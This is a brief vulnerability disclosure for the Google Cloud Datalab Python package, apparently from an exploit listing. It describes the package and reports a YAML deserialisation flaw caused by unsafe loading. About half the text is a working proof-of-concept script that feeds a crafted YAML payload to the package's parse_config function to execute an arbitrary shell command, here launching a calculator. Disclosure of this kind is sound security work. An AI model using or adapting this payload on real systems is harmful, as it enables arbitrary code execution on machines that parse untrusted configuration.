Google Cloud Datalab Python package. Used in Google Cloud Datalab and can be used in Jupyter Notebook. This adds a number of Python modules such as google.datalab.bigquery, google.datalab.storage, etc, for accessing Google Cloud Platform services as well as adding some new cell magics such as %chart, %bigquery, %storage, etc. See https://github.com/googledatalab/notebooks for samples of using this package.
Vulnerable to yaml deserilisation attack caused by unsafe loading.
# exploit.py
import os
os.system('pip install datalab')
import datalab.utils.commands._utils as _utils
exploit = '''!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
'''
_utils.parse_config(exploit ,None)